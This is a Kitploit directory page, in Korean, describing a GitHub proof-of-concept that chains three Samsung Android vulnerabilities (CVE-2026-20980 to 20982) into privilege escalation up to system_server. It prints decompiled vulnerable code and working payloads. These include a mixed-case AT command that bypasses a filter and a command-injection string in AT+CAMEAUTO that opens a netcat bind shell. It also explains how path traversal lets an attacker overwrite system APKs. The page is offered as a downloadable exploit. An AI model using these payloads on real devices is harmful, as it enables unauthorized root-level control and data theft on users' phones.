Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
samsung-android-lpe — CVE-2026-20980, CVE-2026-20981, CVE-2026-20982에 대한 PoC | Kitploit
도구/GitHubGitHub/vikramaditya015/samsung-android-lpe
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationPenetration TestingMobile SecurityCommand and ControlPayload Development
GitHubvikramaditya015/samsung-android-lpe

samsung-android-lpe

CVE-2026-20980, CVE-2026-20981, CVE-2026-20982에 대한 PoC

저장소 보기
418503개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

파트 1: 임의 AT 명령 실행 (CVE-2026-20980)

애플리케이션 프로세서(AP) 명령은 잠금 해제된 장치에서 연결 모드를 전환한 후 at_distributor에 의해 관리됩니다.

root@kitploit:~
AT+SWATD=0
AT+ACTIVATE=0,0,0
AT+SWATD=1

at_distributor는 pacm_check_at_cmds 함수를 통해 AT 명령을 검증합니다.

root@kitploit:~
void main(int32_t arg1, void* arg2) __noreturn
{
    int32_t var_21b0 = arg1;
    data_42c170 = SignalHandler;
    sigemptyset(0x42c178);
    ...
    if (pacm_check_at_cmds(&data_42c1b4, &var_2160, &data_404a82, v0_11) != 1)  {
        SendToTerminal(&var_2160,                            
        __strlen_chk(&var_2160, 0x80)                    
    } else {
        __android_log_print(3, "AT_Distributor", "%s()", "HandleMessageFromUart");
        ...
    }   
    ...
}

함수 로직은 다음 위치에 있습니다.

root@kitploit:~
ldd at_distributor
libpacm_client.so => /system/lib64/libpacm_client.so

이 함수는 is_multiple_cmds를 호출하여 AT 명령에 여러 명령이 포함되어 있는지 확인합니다.

root@kitploit:~
uint64_t pacm_check_at_cmds(int64_t arg1, char* arg2)
{
    uint64_t x24 = _ReadMSR(tpidr_el0);
    int64_t x8 = *(x24 + 0x28);
    int32_t var_284;
    ...
    if (!arg1)
    {
        __android_log_print(6, "PACMAN", "%s : AT Command is NULL\n", "pacm_check_at_cmds", v0);
        x20_1 = var_284;
        ...
    } else {
        Command::set_command(&var_280);
        char var_2d0;
        void* var_2c0;
        
        if (var_2d0 & 1)
            operator delete(var_2c0, var_2d0 & 0xfffffffffffffffe);
        int32_t x8_6;
        
        if (!Command::is_multiple_cmds())
        {
            int32_t x0_13;
            int128_t v0_1;
            x0_13 = Command::preprocess_cmds(&var_280);
            ...
        }
        ...
    }    
}   

int64_t Command::is_multiple_cmds()
{
    ...
    size_t x0 = strlen("
at+");
    if (x0) {
        ...
        memcmp(x0_4, "
at+", x0);
        ...
    }
    size_t x0_1 = strlen("
AT+");
    if (x0_1) {
        ...
        memcmp(x0_7, "
AT+", x0_1);
        ...
    }
    size_t x0_2 = strlen("
at+");
    if (x0_2) {
        ...
        memcmp(x0_10, "
at+", x0_2);
        ...
    }
    size_t x0_3 = strlen("
AT+");
    if (x0_3) {
        ...
        memcmp(x0_13, "
AT+", x0_3);
        ...
    }
    ...
    return 1;
}

따라서 이 페이로드를 포함한 AT 명령은 실패합니다.

root@kitploit:~
TX: AT+\nAT+VERSNAME=3,2,1
RX: +CME Error:PACM(AP),MULTIPLE_CMD

하지만 is_multiple_cmd는 "aT+" 또는 "At+"를 확인하지 못하므로 보호되거나 등록되지 않은 명령이 실행됩니다.

root@kitploit:~
TX: AT+\naT+VERSNAME=1,3,0 (참고: AT+VERSNAME=1,3,0은 보호된 명령입니다)
RX: +VERSNAME:1,SM8550,SM8550

파트 2: FacAtFunction에서의 임의 시스템 명령 실행 (CVE-2026-20981)

FacAtFunction(uid 1000)은 시스템 앱으로, 대부분의 AP AT 명령을 처리하며, 특히 등록되지 않은 명령 AT+CAMEAUTO는 셸 함수/exec를 사용하여 화면을 캡처하는 데 사용됩니다.

root@kitploit:~
...
if (checkArgu(strArr, new String[]{"0", "1", "0", "2"})) {
                    FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "handleCommand", "Screen Capture & File Name : " + strArr[4]);
                    screenCapture(strArr[4]);
                    FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "screenCapture", "result : 1");
                    str = responseOK(strArr[0]);
                    ...
}

public final void screenCapture(String str) {
        Process process;
        FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "ScreenCapture Start");
        ...
        String str3 = i < 10 ? m + "SCREENIMAGE0" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg" : m + "SCREENIMAGE" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg";
        FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "screenCapture", str + i + " / " + str3);
        ?? r15 = {"/system/bin/sh", "-c", str3};
        Process process2 = null;
        try {
            try {
                FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "capture command");
                process = Runtime.getRuntime().exec(r15);
            ...
        ...
}

파일 이름은 사용자로부터 가져오지만, screenCapture 함수는 파일 이름을 검증하지 않습니다. 그리고 파트 1에서 등록되지 않은 명령을 실행할 수 있으므로 다음과 같이 실행할 수 있습니다.

root@kitploit:~
TX: AT\naT+CAMEAUTO=0,1,0,2,/;/system/bin/toybox netcat -s 127.0.0.1 -p 1234 -L sh -l;
RX: OK

파트 3: ShortcutService 임의 파일 쓰기 (CVE-2026-20982)

삼성은 Smart Switch를 위한 사용자 정의 복원 메서드를 구현하여 비트맵 파일을 복원합니다.

root@kitploit:~
public void restoreBitmapsFromBackupService(ParcelFileDescriptor parcelFileDescriptor, String str, String str2) {
        enforceScloudBackupWritePermission();
        try {
            ParcelFileDescriptor.AutoCloseInputStream autoCloseInputStream = new ParcelFileDescriptor.AutoCloseInputStream(parcelFileDescriptor);
            FileOutputStream openIconFileForWriteSmartSwitch = openIconFileForWriteSmartSwitch(0, str, str2);
            byte[] bArr = new byte[1024];
            while (true) {
                int read = autoCloseInputStream.read(bArr);
                if (read <= 0) {
                    break;
                }
                openIconFileForWriteSmartSwitch.write(bArr, 0, read);
            }
            if (openIconFileForWriteSmartSwitch != null) {
                openIconFileForWriteSmartSwitch.close();
            }
            autoCloseInputStream.close();
        } catch (Exception unused) {
        }
}
public final FileOutputStream openIconFileForWriteSmartSwitch(int i, String str, String str2) {
        File file = new File(getUserBitmapFilePath(i), str);
        if (!file.isDirectory()) {
            file.mkdirs();
            if (!file.isDirectory()) {
                Slog.d("ShortcutService", "Unable to create directory " + file);
                throw new IOException("Unable to create directory " + file);
            }
            SELinux.restorecon(file);
        }
        File file2 = new File(file, str2);
        if (file2.exists()) {
            Slog.d("ShortcutService", "Unable to create file - already exists " + file2);
            throw new IOException("Unable to create file - already exists " + file2);
        }
        return new FileOutputStream(file2);
}

public final void enforceScloudBackupWritePermission() {
        injectEnforceCallingPermission("com.samsung.android.scloud.backup.lib.write", null);
}

restoreBitmapsFromBackupService는 권한 "com.samsung.android.scloud.backup.lib.write"으로 보호됩니다. 파트 2의 uid 1000을 사용하여 이 함수를 호출하는 데 필요한 권한을 얻을 수 있습니다.

여기서 str(디렉토리)와 str2(파일 이름)를 경로 탐색에서 검증하지 못합니다. ShortcutService는 system_server 프로세스에서 실행되므로 시스템 앱의 base.apk를 덮어쓰거나 packages.xml을 수정하여 system_server에서 코드 실행을 달성할 수 있습니다.

PoC

  • 세 CVE의 전체 체인은 PoC/at.py에 있습니다.
  • PoC/CVE-2026-20982/Exploit.java의 classes.dex 소스
  • PoC Demo
도구 다운로드